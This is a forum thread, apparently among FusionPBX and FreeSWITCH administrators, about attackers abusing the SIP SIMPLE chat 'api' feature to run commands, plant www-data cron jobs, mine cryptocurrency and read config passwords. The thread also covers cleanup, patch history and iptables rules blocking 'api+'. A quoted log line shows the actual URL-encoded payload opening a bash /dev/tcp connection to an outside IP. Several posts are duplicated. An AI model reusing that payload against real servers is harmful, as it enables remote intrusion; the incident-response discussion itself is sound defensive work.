Thanks for the alert! We still had an old, inherited, Fusion box (don't laugh, FS 1.6 still) running that was more or less forgotten about with a handful of customer. Have just hammered it shut and will move the few customers over asap. I think I got there in time.
I do not think that simply disabling chat and enabling authorization is the solution. Also, if your service requires SIP SIMPLE for chat, you will kill the service altogether, including on a fresh installation.
The malware is still there. They are simply running it through the API.
The malware needs to be cleaned up first, and a custom guard should be implemented for the API instead of disabling it. Upgrading does not clean the server, nor does disabling the API remove the malware.
But even then, the question remains: how did they install the malware in the first place?
If anyone has complete server logs covering the period from August 2026 to the present and would be willing to share them for security analysis, please let me know.
Finding the source of the malware files is more important. The API is simply being used to run them. I do not think the API is the source of the initial installation.
Of course do not share it publicly. If you can anonymize them would be wonderful. I cannot accept, and you should not give server credentials and customer data publicly.
The malware is still there. They are simply running it through the API.
The malware needs to be cleaned up first, and a custom guard should be implemented for the API instead of disabling it. Upgrading does not clean the server, nor does disabling the API remove the malware.
But even then, the question remains: how did they install the malware in the first place?
If anyone has complete server logs covering the period from August 2026 to the present and would be willing to share them for security analysis, please let me know.
Finding the source of the malware files is more important. The API is simply being used to run them. I do not think the API is the source of the initial installation.
Of course do not share it publicly. If you can anonymize them would be wonderful. I cannot accept, and you should not give server credentials and customer data publicly.
Last edited:
The api IS being used to download the files, if I remember rightly it executes some sort of curl command that pulls down the files, this also changes from time to time in what it does, I'll see if I can find the logs.
What the script also does is sets up a cronjob under the user www-data so you need to get rid of that.
Check: crontab -u www-data -l
What the script also does is sets up a cronjob under the user www-data so you need to get rid of that.
Check: crontab -u www-data -l
Yes. Yesterday, I was helping a friend, and I found everything through the crontab. That led me to discover the malware installations, quarantine them, and implement an API guard in the chatplan so that it rejects API requests without requiring us to disable chat or enable authorization.
Everything looks clean now, but the problem is that I still don't know how they got in because the logs were deleted by their own scheduled tasks. If you think they got in through the API, that is actually good news, since that route is now blocked.
Another question is: if they could install whatever they wanted, how come they didn't do the things I don't want to name here? Instead, they just tried to use the server for mining, which would only earn them a few cents a day on a CPU.
And I would like to clarify this once again. What FreeSWITCH has done, in my opinion, is irresponsible. All they have done is change a setting. This is not version-related. Any server with unauthenticated SIP SIMPLE enabled is vulnerable.
They should have provided a patch that disables API execution through SIP SIMPLE, limits its capabilities, or adds IP-based authentication for incoming requests. There are too many ways this could have been handled properly. A new version simply means that the setting is disabled by default.
And thank you again for always being there for us. I cannot tell you how much I appreciate your efforts over all these years. I look forward to seeing the logs, as I am both very curious and upset about this. I don't take security lightly, especially in telecommunications.
Also, may I ask you to change the title of this conversation by adding keywords such as “crash,” “high CPU,” and similar terms, so that more people can find it?
I found this convetsation only after I had already discovered the malware, identified the crypto mining, and been asked for help. Someone who is simply puzzled by what is happening is unlikely to find this conversation.
I believe this is a public safety matter, so making the discussion easier to discover could help others recognize the issue much sooner.
Everything looks clean now, but the problem is that I still don't know how they got in because the logs were deleted by their own scheduled tasks. If you think they got in through the API, that is actually good news, since that route is now blocked.
Another question is: if they could install whatever they wanted, how come they didn't do the things I don't want to name here? Instead, they just tried to use the server for mining, which would only earn them a few cents a day on a CPU.
And I would like to clarify this once again. What FreeSWITCH has done, in my opinion, is irresponsible. All they have done is change a setting. This is not version-related. Any server with unauthenticated SIP SIMPLE enabled is vulnerable.
They should have provided a patch that disables API execution through SIP SIMPLE, limits its capabilities, or adds IP-based authentication for incoming requests. There are too many ways this could have been handled properly. A new version simply means that the setting is disabled by default.
And thank you again for always being there for us. I cannot tell you how much I appreciate your efforts over all these years. I look forward to seeing the logs, as I am both very curious and upset about this. I don't take security lightly, especially in telecommunications.
Also, may I ask you to change the title of this conversation by adding keywords such as “crash,” “high CPU,” and similar terms, so that more people can find it?
I found this convetsation only after I had already discovered the malware, identified the crypto mining, and been asked for help. Someone who is simply puzzled by what is happening is unlikely to find this conversation.
I believe this is a public safety matter, so making the discussion easier to discover could help others recognize the issue much sooner.
Last edited:
Code:
Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/Hi John, keep in mind that freeswitch disclosed the API Message Vulnerability in October 2021, the product is open source and as such is also down to us users to be on top things such as this. They did hard code after version 1.10.7 SIP message authentication to True (auth-message) and chat false, you have to specifically set disable-auth-message to override that default option in sofia profiles since the patched version released on October 2021. The 2 users that initiated this thread were running insanely old Freeswitch and debian version WAY past EOL. Can you provide the OS, Freeswitch and Fusionpbx Version of the affected servers you worked on, as you stated this affects any version of freeswitch? Thanks, kind regards,
Last edited:
Hi Henry,
The affected user was running the latest version of everything. Many providers do not use authentication for SIP SIMPLE message delivery, and not everyone uses API-based messaging. Disabling SIP SIMPLE messaging therefore results in a permanent outage for those users.
The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support.
They should have implemented an IP whitelist or another appropriate security control as the same as incoming calls. Simply disabling the functionality was the laziest possible solution. This is a core functionality not a nice to have.
Sincerely
Ok, I understand, I just want it to be clear for other readers also "The affected user was running the latest version of everything." and "The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support." So sounds like auth-message / chat was disabled to make it work with the providers you use. auth-message ensures the user is authenticated by checking the registered user, like calls, register, subscribe, etc... so it literally does do what it says, I do agree that ACLs is a good route (Production/Enterprise Freeswitch version is months ahead than the open source freeswitch so maybe they have done this already), you can see the code for yourself on Github AND Freeswitch disclosed this 5 years ago. If a specific carrier/provider cant provide end to end authentication then its best to look elsewhere. @DigitalDaz are you able to share some wisdom on this, as I may be completely wrong from my understanding. Thanks. Kind regards,
What I can see that seems to be the recent discovery is that this api could be used to execute commands on the OS. Even with the auth in place, that would imply a malicious user could do the same. ie sign up for your service and then send the bad message, I think the new freeswitch prevents that but I haven't looked into it yet.
I have managed to check some logs on a couple of my old boxes, test ones etc that have never been updated and see some worrying stuff.
I know a lot of people will still be running old stuff.
I can see in one of them that they catted out the freeswitch xml directories to get passwords etc.
Thankfully, we store it in the DB on fusionPBX but that doesn't mean they haven't hit the DB too.
This is very serious and anyone with old stuff should be very aware of it.
These ip tables rules may be a quick sticking plaster to help until you can make other improvements:
I have managed to check some logs on a couple of my old boxes, test ones etc that have never been updated and see some worrying stuff.
I know a lot of people will still be running old stuff.
I can see in one of them that they catted out the freeswitch xml directories to get passwords etc.
Thankfully, we store it in the DB on fusionPBX but that doesn't mean they haven't hit the DB too.
This is very serious and anyone with old stuff should be very aware of it.
These ip tables rules may be a quick sticking plaster to help until you can make other improvements:
Code:
-A INPUT -p udp -m udp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
-A INPUT -p tcp -m tcp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
OK, thank you @DigitalDaz for the update. Would you be able to show what commands and places people should be checking on their servers? Also if TLS is in use the user agent wont show, so wont be blocked @markjcrane I know you keep an eye on the forum so was wondering if you have any insight or of the customers that have called in in the last 2 weeks. thank you. Kind regards.
I suggest taking a look into SIP SIMPLE. Maybe you will teach me something new about it or who knows maybe you will learn something new about it. Regardless, this is a serious issue.
Correction to my post #26 first. I said 1.10.7 hard-coded auth-messages=true and enable-chat=false. The first half is right, the second isn't — my mistake. enable-chat still defaults to true in every release including 1.11.3 (sofia_set_pflag(profile, PFLAG_ENABLE_CHAT) sits in the default profile block in sofia.c). Only auth-messages changed in 1.10.7. So nobody should assume chat is already off on their box — go and check it.
What 1.11.3 actually changed. Three of its six release notes are this issue:
What 1.11.3 actually changed. Three of its six release notes are this issue:
- [mod_sofia] Add enable-chat-api-proto to gate the api chat proto
- [mod_verto] same gate on the verto path
- [mod_sofia] Bound the To-user split in the inbound MESSAGE handler
@DigitalDaz Ive ran test against the Iptables Rule drop and it works as intended until people can upgrade there freeswitch instances (As long as the rule placement is above RELATED or ESTABLISHED rules), Note - It does NOT protect you over TLS profiles. Thanks for that message.